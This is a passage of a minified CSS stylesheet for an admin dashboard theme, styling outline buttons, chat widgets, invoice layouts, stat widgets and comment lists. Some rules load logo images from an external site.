190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); background: #1eacbe; } .btn-outline-success.focus { background: #26dad2; border-color: #26dad2; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); } .btn-outline-success.active { -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2); background: #1eacbe; } .btn-outline-info { color: #1976d2; background-color: transparent; border-color: #1976d2; -webkit-box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12); box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-outline-info:focus { background: #1976d2; border-color: #1976d2; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); background: #028ee1; } .btn-outline-info:hover { background: #1976d2; border-color: #1976d2; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-outline-info:active { -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); background: #028ee1; } .btn-outline-info.focus { background: #1976d2; border-color: #1976d2; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); } .btn-outline-info.active { -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2); background: #028ee1; } .btn-outline-warning { color: #ffb22b; background-color: transparent; border-color: #ffb22b; -webkit-box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12); box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-outline-warning:focus { background: #ffb22b; border-color: #ffb22b; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); background: #e9ab2e; } .btn-outline-warning:hover { background: #ffb22b; border-color: #ffb22b; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-outline-warning:active { -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); background: #e9ab2e; } .btn-outline-warning.focus { background: #ffb22b; border-color: #ffb22b; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); } .btn-outline-warning.active { -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2); background: #e9ab2e; } .btn-outline-danger { color: #ef5350; background-color: transparent; border-color: #ef5350; -webkit-box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12); box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-outline-danger:focus { background: #ef5350; border-color: #ef5350; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background: #e6294b; } .btn-outline-danger:hover { background: #ef5350; border-color: #ef5350; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-outline-danger:active { -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background: #e6294b; } .btn-outline-danger.focus { background: #ef5350; border-color: #ef5350; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-outline-danger.active { -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background: #e6294b; } .btn-outline-red { color: #fb3a3a; background-color: transparent; border-color: #fb3a3a; } .btn-outline-red:focus { background: #fb3a3a; border-color: #fb3a3a; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background: #e6294b; } .btn-outline-red:hover { background: #fb3a3a; border-color: #fb3a3a; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-outline-red:active { -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background: #e6294b; } .btn-outline-red.focus { background: #fb3a3a; border-color: #fb3a3a; color: #ffffff; -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); } .btn-outline-red.active { -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2); background: #e6294b; } .btn-outline-inverse { color: #2f3d4a; background-color: transparent; border-color: #2f3d4a; } .btn-outline-inverse:focus { background: #2f3d4a; border-color: #2f3d4a; color: #ffffff; } .btn-outline-inverse:hover { background: #2f3d4a; border-color: #2f3d4a; color: #ffffff; } .btn-outline-inverse.focus { background: #2f3d4a; border-color: #2f3d4a; color: #ffffff; } .btn-primary.active.focus { background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary.focus { background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary.focus:active { background-color: #6352ce; border: 1px solid #6352ce; } .open > .dropdown-toggle.btn-primary.focus { background-color: #6352ce; border: 1px solid #6352ce; } .open > .dropdown-toggle.btn-primary:focus { background-color: #6352ce; border: 1px solid #6352ce; } .open > .dropdown-toggle.btn-primary:hover { background-color: #6352ce; border: 1px solid #6352ce; } .open > .dropdown-toggle.btn-success.focus { background-color: #1eacbe; border: 1px solid #1eacbe; } .open > .dropdown-toggle.btn-success:focus { background-color: #1eacbe; border: 1px solid #1eacbe; } .open > .dropdown-toggle.btn-success:hover { background-color: #1eacbe; border: 1px solid #1eacbe; } .open > .dropdown-toggle.btn-info.focus { background-color: #028ee1; border: 1px solid #028ee1; } .open > .dropdown-toggle.btn-info:focus { background-color: #028ee1; border: 1px solid #028ee1; } .open > .dropdown-toggle.btn-info:hover { background-color: #028ee1; border: 1px solid #028ee1; } .open > .dropdown-toggle.btn-warning.focus { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .open > .dropdown-toggle.btn-warning:focus { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .open > .dropdown-toggle.btn-warning:hover { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .open > .dropdown-toggle.btn-danger.focus { background-color: #e6294b; border: 1px solid #e6294b; } .open > .dropdown-toggle.btn-danger:focus { background-color: #e6294b; border: 1px solid #e6294b; } .open > .dropdown-toggle.btn-danger:hover { background-color: #e6294b; border: 1px solid #e6294b; } .open > .dropdown-toggle.btn-inverse { background-color: #232a37; border: 1px solid #232a37; } .open > .dropdown-toggle.btn-red { background-color: #d61f1f; border: 1px solid #d61f1f; color: #ffffff; } .btn-success.active.focus { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success.focus { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-success.focus:active { background-color: #1eacbe; border: 1px solid #1eacbe; } .btn-info.active.focus { background-color: #028ee1; border: 1px solid #028ee1; } .btn-info.focus { background-color: #028ee1; border: 1px solid #028ee1; } .btn-info.focus:active { background-color: #028ee1; border: 1px solid #028ee1; } .btn-warning.active.focus { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning.focus { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-warning.focus:active { background-color: #e9ab2e; border: 1px solid #e9ab2e; } .btn-danger.active.focus { background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger.focus { background-color: #e6294b; border: 1px solid #e6294b; } .btn-danger.focus:active { background-color: #e6294b; border: 1px solid #e6294b; } .btn-inverse.focus { background-color: #232a37; border: 1px solid #232a37; } .btn-red.focus { background-color: #d61f1f; border: 1px solid #d61f1f; color: #ffffff; } .button-box .btn { margin: 0 8px 8px 0; } .btn-label { background: rgba(0, 0, 0, 0.05); display: inline-block; margin: -6px 12px -6px -14px; padding: 7px 15px; } .btn-facebook { color: #ffffff; background-color: #3b5998; } .btn-twitter { color: #ffffff; background-color: #55acee; } .btn-linkedin { color: #ffffff; background-color: #007bb6; } .btn-dribbble { color: #ffffff; background-color: #ea4c89; } .btn-googleplus { color: #ffffff; background-color: #dd4b39; } .btn-instagram { color: #ffffff; background-color: #3f729b; } .btn-pinterest { color: #ffffff; background-color: #cb2027; } .btn-dropbox { color: #ffffff; background-color: #007ee5; } .btn-flickr { color: #ffffff; background-color: #ff0084; } .btn-tumblr { color: #ffffff; background-color: #32506d; } .btn-skype { color: #ffffff; background-color: #00aff0; } .btn-youtube { color: #ffffff; background-color: #bb0000; } .btn-github { color: #ffffff; background-color: #171515; } .map { width: 100%; height: 400px; } .chat-sidebar { background-color: #eef5f9; border-left: 1px solid #e7e7e7; position: fixed; right: -240px; bottom: 0; top: 55px; width: 240px; z-index: 2; -webkit-transition: all 0.5s ease 0s; transition: all 0.5s ease 0s; } .chat-sidebar .user-name { font-family: 'Poppins', sans-serif; } .chat-sidebar .content { font-family: 'Poppins', sans-serif; } .chat-sidebar .textarea { font-family: 'Poppins', sans-serif; } .chat-sidebar .seen { font-family: 'Poppins', sans-serif; } .chat-sidebar.is-active { right: 0; } .chat-user-search .input-group-addon { background: #ffffff; border-radius: 0px; border: 0px; } .chat-user-search .form-control { border: 0px; } .hidden { display: none; } /* Home Chat Widget ---------------------------------*/ .chat-widget .chat_window { position: relative; width: 100%; height: 500px; border-radius: 10px; background-color: #ffffff; background-color: #f8f8f8; overflow: hidden; } .chat-widget .messages { position: relative; list-style: none; padding: 20px 10px 0 10px; margin: 0; min-height: 350px; overflow: scroll; } .chat-widget .messages .message { clear: both; overflow: hidden; margin-bottom: 20px; transition: all 0.5s linear; opacity: 0; } .chat-widget .messages .message .avatar { width: 60px; height: 60px; border-radius: 50%; display: inline-block; } .chat-widget .messages .message .text_wrapper { display: inline-block; padding: 20px; border-radius: 6px; width: calc(100% - 100px); min-width: 100px; position: relative; } .chat-widget .messages .message .text_wrapper .text { font-size: 18px; font-weight: 300; } .chat-widget .messages .message .text_wrapper::after { top: 18px; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; border-width: 13px; margin-top: 0px; } .chat-widget .messages .message .text_wrapper:before { top: 18px; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; } .chat-widget .messages .message .text_wrapper::before { border-width: 15px; margin-top: -2px; } .chat-widget .messages .message.left .text_wrapper::after, .chat-widget .messages .message.left .text_wrapper::before { right: 100%; border-right-color: #ffe6cb; } .chat-widget .messages .message.left .avatar { background-color: #f5886e; float: left; } .chat-widget .messages .message.left .text_wrapper { background-color: #ffe6cb; margin-left: 20px; } .chat-widget .messages .message.left .text { color: #c48843; } .chat-widget .messages .message.right .text_wrapper::after, .chat-widget .messages .message.right .text_wrapper::before { left: 100%; border-left-color: #c7eafc; } .chat-widget .messages .message.right .avatar { background-color: #fdbf68; float: right; } .chat-widget .messages .message.right .text_wrapper { background-color: #c7eafc; margin-right: 20px; float: right; } .chat-widget .messages .message.right .text { color: #45829b; } .chat-widget .messages .message.appeared { opacity: 1; } .chat-widget .bottom_wrapper { position: relative; position: absolute; width: 100%; background-color: #ffffff; padding: 20px 20px; bottom: 0; } .chat-widget .bottom_wrapper .message_input_wrapper { display: inline-block; height: 50px; border-radius: 25px; border: 1px solid #bcbdc0; width: calc(100% - 160px); position: relative; padding: 0 20px; } .chat-widget .bottom_wrapper .message_input_wrapper .message_input { border: none; height: 100%; box-sizing: border-box; width: calc(100% - 45px); position: absolute; outline-width: 0; color: gray; } .chat-widget .bottom_wrapper .send_message { width: 140px; height: 50px; display: inline-block; border-radius: 50px; background-color: #a3d063; border: 2px solid #a3d063; color: #ffffff; cursor: pointer; transition: all 0.2s linear; text-align: center; float: right; } .chat-widget .bottom_wrapper .send_message .text { font-size: 18px; font-weight: 300; display: inline-block; line-height: 48px; } .chat-widget .bottom_wrapper .send_message:hover { color: #a3d063; background-color: #ffffff; } .chat-widget .message_template { display: none; } .testimonial-widget-one .testimonial-content { text-align: center; } .testimonial-widget-one .testimonial-text { margin-bottom: 15px; } .testimonial-widget-one .testimonial-author-position { font-family: 'Poppins', sans-serif; position: relative; top: -5px; margin-top: 5px; text-align: center; font-size: 12px; } .testimonial-widget-one .testimonial-author { padding-top: 15px; position: relative; top: -5px; font-weight: 600; color: #ffffff; text-align: center; } .testimonial-widget-one .testimonial-author-img { border-radius: 100px; height: 50px !important; width: 50px !important; margin: 0 auto; } .weather-one i { font-size: 100px; position: relative; top: 5px; color: #ffffff; } .weather-one h2 { display: inline-block; float: right; font-size: 48px; color: #ffffff; } .weather-one .city { position: relative; text-align: right; top: -25px; } .weather-one .currently { font-size: 16px; font-weight: 400; position: relative; top: 25px; } .weather-one .celcious { text-align: right; font-size: 20px; color: #ffffff; } [contenteditable]:hover, [contenteditable]:focus { background: #93b5ff; } .control-bar { position: relative; z-index: 100; background: #4680ff; color: #ffffff; padding: 15px; margin-bottom: 30px; } .control-bar .slogan { font-weight: bold; font-size: 1.2rem; display: inline-block; margin-right: 2rem; } .control-bar label { margin: 0px; color: #ffffff; } .control-bar a { margin: 0; padding: .5em 1em; background: #ffffff; color: #455a64; } .control-bar a:hover { background: #93b5ff; } .control-bar input { border: none; background: #93b5ff; max-width: 30px; text-align: center; color: #455a64; } .control-bar input:hover { background: #93b5ff; } .hidetax .taxrelated { display: none; } .showtax .notaxrelated { display: none; } .hidedate .daterelated { display: none; } .showdate .notdaterelated { display: none; } .details input { display: inline; margin: 0 0 0 .5rem; border: none; width: 55px; min-width: 0; background: transparent; text-align: left; } .invoice-edit .rate:before, .invoice-edit .price:before, .invoice-edit .sum:before, .invoice-edit .tax:before, .invoice-edit #total_price:before, .invoice-edit #total_tax:before { content: '€'; } .invoice-edit .me, .invoice-edit .info, .invoice-edit .bank, .invoice-edit .smallme, .invoice-edit .client, .invoice-edit .bill, .invoice-edit .details { padding: 15px; } .invoice-logo img { display: block; vertical-align: top; width: 50px; } /** * INVOICELIST BODY */ .invoicelist-body { margin: 1rem; } .invoicelist-body table { width: 100%; } .invoicelist-body thead { text-align: left; border-bottom: 2pt solid #666; } .invoicelist-body td, .invoicelist-body th { position: relative; padding: 1rem; } .invoicelist-body tr:nth-child(even) { background: #eef5f9; } .invoicelist-body tr:hover .removeRow { display: block; } .invoicelist-body input { display: inline; margin: 0; border: none; width: 80%; min-width: 0; background: transparent; text-align: left; } .invoicelist-body .control { display: inline-block; color: white; background: #4680ff; padding: 3px 7px; font-size: .9rem; text-transform: uppercase; cursor: pointer; } .invoicelist-body .control:hover { background: #6092ff; } .invoicelist-body .newRow { margin: .5rem 0; float: left; } .invoicelist-body .removeRow { display: none; position: absolute; top: .1rem; bottom: .1rem; left: -1.3rem; font-size: .7rem; border-radius: 3px 0 0 3px; padding: .5rem; } /** * INVOICE LIST FOOTER */ .invoicelist-footer { margin: 1rem; } .invoicelist-footer table { float: right; width: 25%; } .invoicelist-footer table td { padding: 1rem 2rem 0 1rem; text-align: right; } .invoicelist-footer table tr:nth-child(2) td { padding-top: 0; } .invoicelist-footer table #total_price { font-size: 2rem; color: #4680ff; } /** * NOTE */ .note { margin: 75px 15px; } .hidenote .note { display: none; } .note h2 { margin: 0; font-size: 12px; font-weight: bold; } .note p { font-size: 12px; padding: 0px 5px; } /** * FOOTER */ footer { display: block; margin: 1rem 0; padding: 1rem 0 0; } footer p { font-size: 12px; } /** * PRINT STYLE */ @media print { .header, .sidebar, .chat-sidebar, .control, .control-bar { display: none !important; } [contenteditable]:hover, [contenteditable]:focus { outline: none; } } #invoice { position: relative; /* top: -290px;*/ margin-bottom: 120px; /* width: 700px;*/ background: #ffffff; padding: 30px; } #invoice-table { /* Targets all id with 'col-' */ border-bottom: 1px solid #e7e7e7; padding: 30px 0px; } #invoice-top { min-height: 120px; } #invoice-mid { min-height: 120px; } #invoice-bot { min-height: 250px; } .invoice-logo { float: left; height: 60px; width: 60px; background: url(http://michaeltruong.ca/images/logo1.png) no-repeat; background-size: 60px 60px; } .clientlogo { float: left; height: 60px; width: 60px; background: url(http://michaeltruong.ca/images/client.jpg) no-repeat; background-size: 60px 60px; border-radius: 50px; } .invoice-info { display: block; float: left; margin-left: 20px; } .invoice-info h2 { color: #455a64; font-size: 14px; } .invoice-info p { font-size: 12px; } .title { float: right; } .title h4 { color: #455a64; text-align: right; } .title p { text-align: right; font-size: 12px; } #project { margin-left: 52%; } #project p { font-size: 12px; } #invoice-table h2 { font-size: 18px; } .tabletitle { padding: 5px; background: #e7e7e7; } .service { border: 1px solid #e7e7e7; } .table-item { width: 50%; } .itemtext { font-size: .9em; } #legalcopy { margin-top: 30px; } #legalcopy p { font-size: 12px; } .effect2 { position: relative; } .effect2:before, .effect2:after { z-index: -1; position: absolute; content: ""; bottom: 15px; left: 10px; width: 50%; top: 80%; max-width: 300px; background: #777; -webkit-box-shadow: 0 15px 10px #777; -moz-box-shadow: 0 15px 10px #777; box-shadow: 0 15px 10px #777; -webkit-transform: rotate(-3deg); -moz-transform: rotate(-3deg); -o-transform: rotate(-3deg); -ms-transform: rotate(-3deg); transform: rotate(-3deg); } .effect2:after { -webkit-transform: rotate(3deg); -moz-transform: rotate(3deg); -o-transform: rotate(3deg); -ms-transform: rotate(3deg); transform: rotate(3deg); right: 10px; left: auto; } .legal { width: 70%; } /* All Invoice Page Responsive --------------------------- */ @media (max-width: 480px) { .control-bar { padding: 15px 15px 40px; } } @media (max-width: 360px) { .notaxrelated { margin-top: 15px; } } /* Widget One ---------------------------*/ .stat-widget-one .stat-icon { vertical-align: top; } .stat-widget-one .stat-icon i { font-size: 30px; border-width: 3px; border-style: solid; border-radius: 100px; padding: 15px; font-weight: 900; display: inline-block; } .stat-widget-one .stat-content { margin-left: 30px; margin-top: 7px; } .stat-widget-one .stat-text { font-size: 14px; color: #99abb4; } .stat-widget-one .stat-digit { font-size: 24px; color: #455a64; } /* Widget Two ---------------------------*/ .stat-widget-two { text-align: center; } .stat-widget-two .stat-digit { font-size: 40px; font-weight: 700; color: #455a64; } .stat-widget-two .stat-text { font-size: 20px; margin-bottom: 5px; color: #99abb4; } .stat-widget-two .progress { height: 8px; margin-bottom: 0; margin-top: 20px; box-shadow: none; } .stat-widget-two .progress-bar { box-shadow: none; } /* Widget Three ---------------------------*/ .stat-widget-three .stat-icon { display: inline-block; padding: 33px; position: absolute; line-height: 21px; } .stat-widget-three .stat-icon i { font-size: 30px; color: #ffffff; } .stat-widget-three .stat-content { text-align: center; padding: 15px; margin-left: 90px; } .stat-widget-three .stat-digit { font-size: 30px; } .stat-widget-three .stat-text { padding-top: 7px; } .home-widget-three .stat-icon { line-height: 19px; padding: 27px; } .home-widget-three .stat-digit { font-size: 24px; font-weight: 300; color: #455a64; } .home-widget-three .stat-content { text-align: center; margin-left: 60px; padding: 13px; } .stat-widget-four { position: relative; } .stat-widget-four .stat-icon { display: inline-block; position: absolute; top: 5px; } .stat-widget-four i { display: block; font-size: 36px; } .stat-widget-four .stat-content { margin-left: 40px; text-align: center; } .stat-widget-four .stat-heading { font-size: 20px; } .stat-widget-five .stat-icon { border-radius: 100px; display: inline-block; position: absolute; } .stat-widget-five i { border-radius: 100px; display: block; font-size: 36px; padding: 30px; } .stat-widget-five .stat-content { margin-left: 100px; padding: 24px 0; position: relative; text-align: right; vertical-align: middle; } .stat-widget-five .stat-heading { text-align: right; padding-left: 80px; font-size: 20px; font-weight: 200; } .stat-widget-six { position: relative; } .stat-widget-six .stat-icon { display: inline-block; position: absolute; top: 5px; } .stat-widget-six i { display: block; font-size: 36px; } .stat-widget-six .stat-content { margin-left: 40px; text-align: center; } .stat-widget-six .stat-heading { font-size: 16px; font-weight: 300; } .stat-widget-six .stat-text { font-size: 12px; padding-top: 4px; } .stat-widget-seven .stat-heading { text-align: center; } .stat-widget-seven .gradient-circle { text-align: center; position: relative; margin: 30px auto; display: inline-block; width: 100%; } .stat-widget-seven .gradient-circle i { position: absolute; left: 0; right: 0; text-align: center; top: 35px; font-size: 30px; } .stat-widget-seven .stat-footer { text-align: center; margin-top: 30px; } .stat-widget-seven .stat-footer .stat-count { padding-left: 5px; } .stat-widget-seven .count-header { color: #252525; font-size: 12px; font-weight: 400; line-height: 30px; } .stat-widget-seven .stat-count { font-size: 18px; font-weight: 400; color: #252525; } .stat-widget-seven .analytic-arrow { position: relative; } .stat-widget-seven .analytic-arrow i { font-size: 12px; } /* Stat widget Eight --------------------------- */ .stat-widget-eight { padding: 15px; } .stat-widget-eight .header-title { font-size: 20px; font-weight: 300; } .stat-widget-eight .ti-more-alt { color: #878787; cursor: pointer; left: -5px; position: absolute; transform: rotate(90deg); } .stat-widget-eight .stat-content { margin-top: 50px; } .stat-widget-eight .stat-content .ti-arrow-up { font-size: 30px; color: #26dad2; } .stat-widget-eight .stat-content .stat-digit { font-size: 24px; font-weight: 300; margin-left: 15px; } .stat-widget-eight .stat-content .progress-stats { color: #aaadb2; font-weight: 400; position: relative; top: 10px; } .stat-widget-eight .progress { margin-bottom: 0; margin-top: 30px; height: 7px; background: #EAEAEA; box-shadow: none; } .stat-widget-nine .all-like { float: right; } .stat-widget-nine .stat-icon i { font-size: 22px; } .stat-widget-nine .stat-text { font-size: 14px; } .stat-widget-nine .stat-digit { font-size: 14px; } .stat-widget-nine .like-count { font-size: 30px; } .horizontal { position: relative; } .horizontal:before { background: #ffffff; bottom: 0; content: ""; height: 38px; left: 0; margin: 0 auto; position: absolute; right: 0; width: 1px; } .widget-ten span i { color: #ffffff; opacity: 0.5; } .widget-ten h5 { color: #ffffff; } .widget-ten p { color: #ffffff !important; opacity: 0.75; } /* ================================================= Responsive ================================================= */ @media (max-width: 768px) { .card { display: inline-block; width: 100%; } } @media (max-width: 360px) { .stat-widget-five .stat-heading { padding-left: 0; } .stat-widget-two .stat-digit { font-size: 16px; } .stat-widget-two .stat-text { font-size: 14px; } .stat-widget-three .stat-digit { font-size: 20px; } .stat-widget-four .stat-heading { font-size: 18px; } .stat-widget-three .stat-icon { padding: 26px; } } .round-widget { border: 1px solid red; border-radius: 100px; display: inline-block; height: 60px; line-height: 60px; text-align: center; width: 60px; } .recent-comment .media { border-bottom: 1px solid #e7e7e7; padding-bottom: 10px; padding-top: 10px; } .recent-comment .media-left { padding-right: 25px; } .recent-comment .media-left img { border-radius: 100px; width: 40px; } .recent-comment .media-body { position: relative; } .recent-comment .media-body h4 { font-size: 16px; margin-bottom: 10px; } .recent-comment .media-body p { margin-bottom: 10px; line-height: 16px; color: #99abb4; } .recent-comment .comment-date { position: absolute; right: 0; top: 0; color: #455a64; font-family: 'Poppins', sans-serif; font-size: 12px; } .comment-action { float: left; } .comment-action .badge { text-transform: uppercase; font-family: 'Poppins', sans-serif; } .comment-action i { padding: 0 5px; } .recent-meaasge { margin-top: 15px; } .recent-meaasge .media { border-bottom: 1px solid #e7e7e7; padding-top: 10px; padding-bottom: 